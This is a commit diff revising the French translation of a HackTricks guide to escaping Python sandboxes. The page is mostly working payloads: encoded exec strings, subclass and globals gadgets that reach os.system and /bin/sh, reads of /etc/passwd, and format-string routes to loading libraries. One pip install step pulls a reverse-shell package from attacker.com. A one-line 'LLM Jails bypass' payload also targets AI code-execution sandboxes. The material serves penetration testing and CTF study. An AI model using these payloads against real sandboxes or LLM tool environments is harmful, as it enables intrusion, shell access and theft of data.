Translated ['', 'src/generic-methodologies-and-resources/python/bypass-p

2025-10-10 18:36:50 +00:00 · 2025-08-28 12:39:52 +00:00 · 2025-08-28 12:39:52 +00:00 · 198bc316c1
commit 198bc316c1
parent c2a4e95e46
6 changed files with 397 additions and 395 deletions
--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
@ -2,11 +2,11 @@

 {{#include ../../../banners/hacktricks-training.md}}

-Voici quelques astuces pour bypass les protections du python sandbox et exécuter des commandes arbitraires.
+Voici quelques astuces pour contourner les protections des sandboxes Python et exécuter des commandes arbitraires.

 ## Command Execution Libraries

-La première chose à savoir est si vous pouvez exécuter du code directement avec une bibliothèque déjà importée, ou si vous pouvez importer l'une de ces bibliothèques :
+La première chose à savoir est si vous pouvez directement exécuter du code avec une bibliothèque déjà importée, ou si vous pouvez importer l'une de ces bibliothèques :
 ```python
 os.system("ls")
 os.popen("ls").read()
@ -39,11 +39,11 @@ open('/var/www/html/input', 'w').write('123')
 execfile('/usr/lib/python2.7/os.py')
 system('ls')
 ```
-Remember that the _**open**_ and _**read** functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
+Souvenez-vous que les fonctions _**open**_ et _**read**_ peuvent être utiles pour **lire des fichiers** à l'intérieur du python sandbox et pour **écrire du code** que vous pouvez **exécuter** pour **bypass** le sandbox.

-> [!CAUTION] > **Python2 input()** function allows executing python code before the program crashes.
+> [!CAUTION] > La fonction **Python2 input()** permet d'exécuter du code python avant que le programme ne plante.

-Python essaie de **charger les bibliothèques depuis le répertoire courant en premier** (la commande suivante affichera d'où Python charge les modules): `python3 -c 'import sys; print(sys.path)'`
+Python essaye de **charger les librairies depuis le répertoire courant en premier** (la commande suivante affichera d'où Python charge les modules) : `python3 -c 'import sys; print(sys.path)'`

 ![](<../../../images/image (559).png>)

@ -51,9 +51,9 @@ Python essaie de **charger les bibliothèques depuis le répertoire courant en p

 ### Packages par défaut

-You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
-Notez que depuis un pickle vous pouvez amener l'environnement python à **import arbitrary libraries** installées dans le système.\
-Par exemple, le pickle suivant, lorsqu'il est chargé, va importer la bibliothèque pip pour l'utiliser:
+Vous pouvez trouver une **liste des packages pré-installés** ici: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
+Notez que depuis un pickle vous pouvez faire en sorte que le python env **import arbitrary libraries** installées sur le système.\
+Par exemple, le pickle suivant, lorsqu'il est chargé, va importer la librairie pip pour l'utiliser:
 ```python
 #Note that here we are importing the pip library so the pickle is created correctly
 #however, the victim doesn't even need to have the library installed to execute it
@ -72,12 +72,12 @@ Pour plus d'informations sur le fonctionnement de pickle, consultez ceci : [http

 Astuce partagée par **@isHaacK**

-Si vous avez accès à `pip` ou `pip.main()`, vous pouvez installer un package arbitraire et obtenir une reverse shell en appelant :
+Si vous avez accès à `pip` ou `pip.main()`, vous pouvez installer un package arbitraire et obtenir un reverse shell en appelant :
 ```bash
 pip install http://attacker.com/Rerverse.tar.gz
 pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
 ```
-Vous pouvez télécharger le package pour créer le reverse shell ici. Veuillez noter qu'avant de l'utiliser vous devez **le décompresser, modifier le `setup.py`, et mettre votre IP pour le reverse shell**:
+Vous pouvez télécharger le paquet pour créer le reverse shell ici. Veuillez noter qu'avant de l'utiliser, vous devez **le décompresser, modifier le `setup.py` et y mettre votre IP pour le reverse shell**:

 {{#file}}
 Reverse.tar (1).gz
@ -86,12 +86,12 @@ Reverse.tar (1).gz
 > [!TIP]
 > Ce package s'appelle `Reverse`. Cependant, il a été spécialement conçu de sorte que lorsque vous quittez le reverse shell le reste de l'installation échouera, donc vous **ne laisserez aucun package python supplémentaire installé sur le serveur** lorsque vous partirez.

-## Eval du code python
+## Eval-ing python code

 > [!WARNING]
-> Notez que `exec` permet les chaînes multilignes et ";", mais `eval` ne le permet pas (vérifiez walrus operator)
+> Notez que `exec` permet les chaînes multilignes et ";", mais `eval` ne le permet pas (check walrus operator)

-Si certains caractères sont interdits vous pouvez utiliser la représentation **hex/octal/B64** pour **bypass** la restriction:
+Si certains caractères sont interdits, vous pouvez utiliser la représentation **hex/octal/B64** pour **bypass** la restriction:
 ```python
 exec("print('RCE'); __import__('os').system('ls')") #Using ";"
 exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
 ```
-### Autres bibliothèques qui permettent d'évaluer du code python
+### Autres bibliothèques qui permettent de eval python code
 ```python
 #Pandas
 import pandas as pd
@ -126,9 +126,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
 # Like:
 df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
 ```
-Voir aussi une évasion réelle d'un évaluateur sandboxé dans des générateurs PDF :
+Voir aussi une sandboxed evaluator escape en conditions réelles dans des générateurs PDF :

- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Il abuse de rl_safe_eval pour accéder à function.__globals__ et os.system depuis des attributs évalués (par exemple, couleur de police) et renvoie une valeur valide pour maintenir le rendu stable.
+- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Elle abuse de rl_safe_eval pour atteindre function.__globals__ et os.system via des attributs évalués (par exemple, la couleur de la police) et renvoie une valeur valide pour conserver le rendu stable.

 {{#ref}}
 reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -143,9 +143,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
 [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
 ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
 ```
-## Contournement des protections via des encodages (UTF-7)
+## Contourner les protections via des encodages (UTF-7)

-Dans [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 est utilisé pour charger et exécuter du code python arbitraire à l'intérieur d'un sandbox apparent :
+Dans [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 est utilisé pour charger et exécuter arbitrary python code dans un sandbox apparent:
 ```python
 assert b"+AAo-".decode("utf_7") == "\n"

@ -156,11 +156,11 @@ return x
 #+AAo-print(open("/flag.txt").read())
 """.lstrip()
 ```
-Il est également possible de le contourner en utilisant d'autres encodages, par ex. `raw_unicode_escape` et `unicode_escape`.
+Il est également possible de le contourner en utilisant d'autres encodages, p. ex. `raw_unicode_escape` et `unicode_escape`.

 ## Exécution Python sans appels

-Si vous êtes dans un python jail qui **ne vous permet pas d'effectuer des appels**, il existe encore plusieurs moyens de **exécuter des fonctions arbitraires, du code** et des **commandes**.
+Si vous êtes dans un bac à sable Python qui **ne vous permet pas d'effectuer des appels**, il existe encore des moyens de **exécuter des fonctions arbitraires, du code** et des **commandes**.

 ### RCE avec [decorators](https://docs.python.org/3/glossary.html#term-decorator)
 ```python
@ -186,11 +186,11 @@ class _:pass
 ```
 ### RCE : création d'objets et surcharge

-Si vous pouvez **déclarer une classe** et **créer un objet** de cette classe, vous pouvez **écrire ou remplacer différentes méthodes** qui peuvent être **déclenchées** **sans** **avoir besoin de les appeler directement**.
+If you can **déclarer une classe** and **créer un objet** de cette classe you could **write/overwrite different methods** that can be **triggered** **without** **needing to call them directly**.

 #### RCE avec des classes personnalisées

-Vous pouvez modifier certaines **méthodes de classe** (_en remplaçant des méthodes de classe existantes ou en créant une nouvelle classe_) afin qu'elles **exécutent du code arbitraire** lorsqu'elles sont **déclenchées** sans être appelées directement.
+You can modify some **class methods** (_by overwriting existing class methods or creating a new class_) to make them **execute arbitrary code** when **triggered** without calling them directly.
 ```python
 # This class has 3 different ways to trigger RCE without directly calling any function
 class RCE:
@ -242,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
 ```
 #### Création d'objets avec [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)

-La principale chose que les métaclasses nous permettent de faire est **de créer une instance d'une classe sans appeler le constructeur** directement, en créant une nouvelle classe ayant la classe cible comme métaclasse.
+La chose essentielle que les metaclasses nous permettent de faire est **créer une instance d'une classe, sans appeler le constructeur** directement, en créant une nouvelle classe ayant la classe cible comme metaclass.
 ```python
 # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
 # This will define the members of the "subclass"
@ -259,7 +259,7 @@ Sub['import os; os.system("sh")']
 ```
 #### Création d'objets avec des exceptions

-Lorsqu'une **exception est déclenchée** un objet de la **Exception** est **créé** sans que vous ayez besoin d'appeler le constructeur directement (un truc de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
+Lorsqu'une **exception est déclenchée**, un objet de **Exception** est **créé** sans que vous ayez besoin d'appeler directement le constructeur (une astuce de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
 ```python
 class RCE(Exception):
 def __init__(self):
@ -301,7 +301,7 @@ __iadd__ = eval
 __builtins__.__import__ = X
 {}[1337]
 ```
-### Lire le fichier avec l'aide de builtins & licence
+### Lire le fichier avec builtins help & licence
 ```python
 __builtins__.__dict__["license"]._Printer__filenames=["flag"]
 a = __builtins__.help
@ -315,17 +315,17 @@ pass
 - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
 - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)

-Si vous pouvez accéder à l'objet **`__builtins__`**, vous pouvez importer des bibliothèques (notez que vous pouvez également utiliser ici d'autres représentations de chaîne montrées dans la dernière section) :
+Si vous pouvez accéder à l'objet **`__builtins__`** vous pouvez importer des bibliothèques (notez que vous pouvez aussi utiliser ici d'autres représentations sous forme de chaîne montrées dans la dernière section):
 ```python
 __builtins__.__import__("os").system("ls")
 __builtins__.__dict__['__import__']("os").system("ls")
 ```
 ### Pas de Builtins

-Lorsque vous n'avez pas `__builtins__` vous ne pourrez rien importer ni même lire ou écrire des fichiers car **toutes les fonctions globales** (comme `open`, `import`, `print`...) **ne sont pas chargées**.\
-Cependant, **par défaut python importe de nombreux modules en mémoire**. Ces modules peuvent sembler bénins, mais certains d'entre eux importent **également des fonctionnalités dangereuses** en leur sein qui peuvent être exploitées pour obtenir une **exécution de code arbitraire**.
+Lorsque vous n'avez pas `__builtins__` vous ne pouvez pas importer quoi que ce soit ni même lire ou écrire des fichiers car **toutes les fonctions globales** (comme `open`, `import`, `print`...) **ne sont pas chargées**.\
+Cependant, **par défaut python importe de nombreux modules en mémoire**. Ces modules peuvent sembler bénins, mais certains d'entre eux importent **également des fonctionnalités dangereuses** en leur sein auxquelles on peut accéder pour obtenir même une **arbitrary code execution**.

-Dans les exemples suivants vous pouvez observer comment **abuser** de certains de ces modules «**bénins**» chargés pour **accéder** aux **fonctionnalités** **dangereuses** qu'ils contiennent.
+Dans les exemples suivants vous pouvez observer comment **abuser** de certains de ces modules "**bénins**" chargés pour **accéder** à des **fonctionnalités** **dangereuses** en leur sein.

 **Python2**
 ```python
@ -367,7 +367,7 @@ get_flag.__globals__['__builtins__']
 # Get builtins from loaded classes
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
 ```
-[**Ci-dessous se trouve une fonction plus grande**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **endroits** où vous pouvez trouver les **builtins**.
+[**Ci-dessous se trouve une fonction plus grande**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **lieux** où vous pouvez trouver les **builtins**.

 #### Python2 and Python3
 ```python
@ -375,7 +375,7 @@ get_flag.__globals__['__builtins__']
 __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
 __builtins__["__import__"]('os').system('ls')
 ```
-### Builtins payloads
+### Payloads pour builtins
 ```python
 # Possible payloads once you have found the builtins
 __builtins__["open"]("/etc/passwd").read()
@ -385,7 +385,7 @@ __builtins__["__import__"]("os").system("ls")
 ```
 ## Globals and locals

-Vérifier les **`globals`** et **`locals`** est un bon moyen de savoir à quoi vous pouvez accéder.
+Vérifier les **`globals`** et **`locals`** est un bon moyen de savoir à quoi vous avez accès.
 ```python
 >>> globals()
 {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -409,15 +409,15 @@ class_obj.__init__.__globals__
 [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
 [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
 ```
-[**Below there is a bigger function**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **endroits** où vous pouvez trouver les **globals**.
+[**Below there is a bigger function**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **lieux** où vous pouvez trouver les **globals**.

 ## Découvrir l'exécution arbitraire

-Ici je veux expliquer comment découvrir facilement **plus de fonctionnalités dangereuses chargées** et proposer des exploits plus fiables.
+Ici, je veux expliquer comment découvrir facilement **des fonctionnalités plus dangereuses chargées** et proposer des exploits plus fiables.

-#### Accéder aux subclasses avec des bypasses
+#### Accéder aux subclasses avec bypasses

-L'un des aspects les plus sensibles de cette technique est de pouvoir **accéder aux subclasses de base**. Dans les exemples précédents, cela a été fait en utilisant `''.__class__.__base__.__subclasses__()` mais il existe **d'autres moyens possibles**:
+Une des parties les plus sensibles de cette technique est de pouvoir **accéder aux subclasses de base**. Dans les exemples précédents, cela a été fait en utilisant `''.__class__.__base__.__subclasses__()` mais il existe **d'autres manières possibles**:
 ```python
 #You can access the base from mostly anywhere (in regular conditions)
 "".__class__.__base__.__subclasses__()
@ -447,16 +447,16 @@ defined_func.__class__.__base__.__subclasses__()
 ```
 ### Trouver les bibliothèques dangereuses chargées

-Par exemple, sachant qu'avec la bibliothèque **`sys`** il est possible de **import arbitrary libraries**, vous pouvez rechercher tous les **modules chargés qui ont importé `sys` en leur sein** :
+Par exemple, sachant qu'avec la bibliothèque **`sys`** il est possible d'**importer des bibliothèques arbitraires**, vous pouvez rechercher tous les **modules chargés qui ont importé sys en leur sein** :
 ```python
 [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
 ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
 ```
-Il y en a beaucoup, et **il nous suffit d'un seul** pour exécuter des commandes :
+Il y en a beaucoup, et **nous n'avons besoin que d'un** pour exécuter des commandes:
 ```python
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
 ```
-Nous pouvons faire la même chose avec **d'autres bibliothèques** que nous savons pouvoir utiliser pour **exécuter des commandes**:
+Nous pouvons faire la même chose avec **d'autres bibliothèques** dont nous savons qu'elles peuvent être utilisées pour **exécuter des commandes**:
 ```python
 #os
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -491,7 +491,7 @@ Nous pouvons faire la même chose avec **d'autres bibliothèques** que nous savo
 #pdb
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
 ```
-De plus, nous pourrions même rechercher quels modules chargent des bibliothèques malveillantes:
+De plus, nous pourrions même rechercher quels modules chargent des bibliothèques malveillantes :
 ```python
 bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 for b in bad_libraries_names:
@ -510,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
 pdb:
 """
 ```
-De plus, si vous pensez que **other libraries** pourraient être en mesure de **invoke functions to execute commands**, nous pouvons aussi **filter by functions names** au sein des bibliothèques possibles :
+De plus, si vous pensez que **d'autres bibliothèques** peuvent être capables d'**invoquer des fonctions pour exécuter des commandes**, nous pouvons aussi **filtrer par noms de fonctions** à l'intérieur des bibliothèques possibles:
 ```python
 bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -546,7 +546,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
 ## Recherche récursive de Builtins, Globals...

 > [!WARNING]
-> C'est tout simplement **génial**. Si vous **cherchez un objet comme globals, builtins, open ou autre** utilisez simplement ce script pour **parcourir récursivement les endroits où cet objet peut se trouver.**
+> C'est juste **génial**. Si vous êtes **à la recherche d'un objet comme globals, builtins, open ou autre** utilisez simplement ce script pour **trouver récursivement les endroits où vous pouvez trouver cet objet.**
 ```python
 import os, sys # Import these to find more gadgets

@ -662,7 +662,8 @@ print(SEARCH_FOR)
 if __name__ == "__main__":
 main()
 ```
-Vous pouvez vérifier la sortie de ce script sur cette page :
+Vous pouvez vérifier la sortie de ce script sur cette page :
+

 {{#ref}}
 https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
@ -670,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-

 ## Python Format String

-Si vous **envoyez** une **chaîne** à python qui va être **formatée**, vous pouvez utiliser `{}` pour accéder aux informations internes de python. Vous pouvez utiliser les exemples précédents, par exemple, pour accéder à globals ou builtins.
+Si vous **envoyez** une **chaîne** à python qui va être **formatée**, vous pouvez utiliser `{}` pour accéder aux **informations internes de python**. Vous pouvez utiliser les exemples précédents pour accéder à globals ou builtins, par exemple.
 ```python
 # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
 CONFIG = {
@ -690,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
 get_name_for_avatar(st, people_obj = people)
 ```
-Remarquez comment vous pouvez **accéder aux attributs** de façon normale avec un **point** comme `people_obj.__init__` et un **élément de dict** avec des **parenthèses** sans guillemets `__globals__[CONFIG]`
+Remarquez comment vous pouvez **accéder aux attributs** de manière normale avec un **point** comme `people_obj.__init__` et un **élément de dict** avec des **crochets** sans guillemets `__globals__[CONFIG]`

 Notez aussi que vous pouvez utiliser `.__dict__` pour énumérer les éléments d'un objet `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`

-Quelques autres caractéristiques intéressantes des format strings sont la possibilité **d'exécuter** les **fonctions** **`str`**, **`repr`** et **`ascii`** sur l'objet indiqué en ajoutant respectivement **`!s`**, **`!r`**, **`!a`** :
+Parmi d'autres caractéristiques intéressantes des format strings, il est possible d'**exécuter** les **fonctions** **`str`**, **`repr`** et **`ascii`** sur l'objet indiqué en ajoutant respectivement **`!s`**, **`!r`**, **`!a`** :
 ```python
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
 get_name_for_avatar(st, people_obj = people)
 ```
-De plus, il est possible de **coder de nouveaux formatters** dans des classes :
+De plus, il est possible de **code new formatters** dans des classes:
 ```python
 class HAL9000(object):
 def __format__(self, format):
@ -710,10 +711,10 @@ return 'HAL 9000'
 '{:open-the-pod-bay-doors}'.format(HAL9000())
 #I'm afraid I can't do that.
 ```
-**Plus d'exemples** sur les **format** **string** sont disponibles sur [**https://pyformat.info/**](https://pyformat.info)
+**Plus d'exemples** concernant les **format** **string** sont disponibles sur [**https://pyformat.info/**](https://pyformat.info)

 > [!CAUTION]
-> Consultez également la page suivante pour des gadgets qui vont l**ire des informations sensibles depuis les objets internes de Python**:
+> Consultez aussi la page suivante pour des gadgets qui vont **lire des informations sensibles à partir des objets internes de Python**:


 {{#ref}}
@ -738,20 +739,20 @@ str(x) # Out: clueless
 ```
 ### LLM Jails bypass

-From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
+À partir de [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`

-### From format to RCE loading libraries
+### Du format vers RCE en chargeant des bibliothèques

-Selon la [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) il est possible de charger des bibliothèques arbitraires depuis le disque en abusant de la vulnérabilité de format string en python.
+Selon le [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) il est possible de charger des bibliothèques arbitraires depuis le disque en abusant de la format string vulnerability en python.

-Pour rappel, chaque fois qu'une action est effectuée en python, une fonction est exécutée. Par exemple `2*3` exécutera **`(2).mul(3)`** ou **`{'a':'b'}['a']`** exécutera **`{'a':'b'}.__getitem__('a')`**.
+Pour rappel, chaque fois qu'une action est exécutée en python, une fonction est appelée. Par exemple `2*3` exécutera **`(2).mul(3)`** ou **`{'a':'b'}['a']`** exécutera **`{'a':'b'}.__getitem__('a')`**.

-Vous en avez d'autres dans la section [**Python execution without calls**](#python-execution-without-calls).
+Il y en a d'autres dans la section [**Python execution without calls**](#python-execution-without-calls).

-Une vulnérabilité de format string en python n'autorise pas l'exécution de fonctions (elle n'autorise pas l'utilisation de parenthèses), donc il n'est pas possible d'obtenir du RCE comme `'{0.system("/bin/sh")}'.format(os)`.\
-Cependant, il est possible d'utiliser `[]`. Par conséquent, si une bibliothèque python courante possède une méthode **`__getitem__`** ou **`__getattr__`** qui exécute du code arbitraire, il est possible de les abuser pour obtenir du RCE.
+Une vulnérabilité de format string python n'autorise pas l'exécution de fonctions (elle n'autorise pas l'utilisation de parenthèses), donc il n'est pas possible d'obtenir RCE comme `'{0.system("/bin/sh")}'.format(os)`.\
+Cependant, il est possible d'utiliser `[]`. Par conséquent, si une bibliothèque python courante a une méthode **`__getitem__`** ou **`__getattr__`** qui exécute du code arbitraire, il est possible de les exploiter pour obtenir RCE.

-En cherchant un gadget de ce type dans python, le writeup propose cette [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Il y a trouvé ce [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
+En cherchant un gadget de ce type dans python, le writeup propose cette [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). C'est là qu'il a trouvé cette [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
 ```python
 class LibraryLoader(object):
 def __init__(self, dlltype):
@ -773,7 +774,7 @@ return getattr(self, name)
 cdll = LibraryLoader(CDLL)
 pydll = LibraryLoader(PyDLL)
 ```
-Ce gadget permet de **load a library from disk**. Par conséquent, il est nécessaire, d'une manière ou d'une autre, de **write or upload the library to load** correctement compilée sur le serveur attaqué.
+Ce gadget permet de **charger une bibliothèque depuis le disque**. Par conséquent, il est nécessaire d'écrire ou de téléverser d'une manière ou d'une autre la bibliothèque à charger, correctement compilée, sur le serveur attaqué.
 ```python
 '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
 ```
@ -782,11 +783,11 @@ Le challenge exploite en réalité une autre vulnérabilité du serveur qui perm
 ## Analyse des objets Python

 > [!TIP]
-> Si vous voulez **apprendre** en profondeur sur **python bytecode**, lisez cet article **excellent** sur le sujet : [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
+> Si vous voulez **apprendre** en profondeur sur **python bytecode**, lisez ce post **génial** sur le sujet: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)

-Dans certains CTFs, il se peut qu'on vous fournisse le nom d'une **custom function where the flag** et vous deviez examiner les **internals** de la **function** pour l'extraire.
+Dans certains CTFs, on pourrait vous fournir le nom d'une **fonction personnalisée où le flag** se trouve, et vous devrez examiner les **internes** de la **fonction** pour l'extraire.

-Voici la function à inspecter :
+Voici la fonction à inspecter:
 ```python
 def get_flag(some_input):
 var1=1
@ -806,7 +807,7 @@ dir(get_flag) #Get info tof the function
 ```
 #### globals

-`__globals__` and `func_globals`(même) Obtient l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, quelques variables globales et leur contenu déclaré :
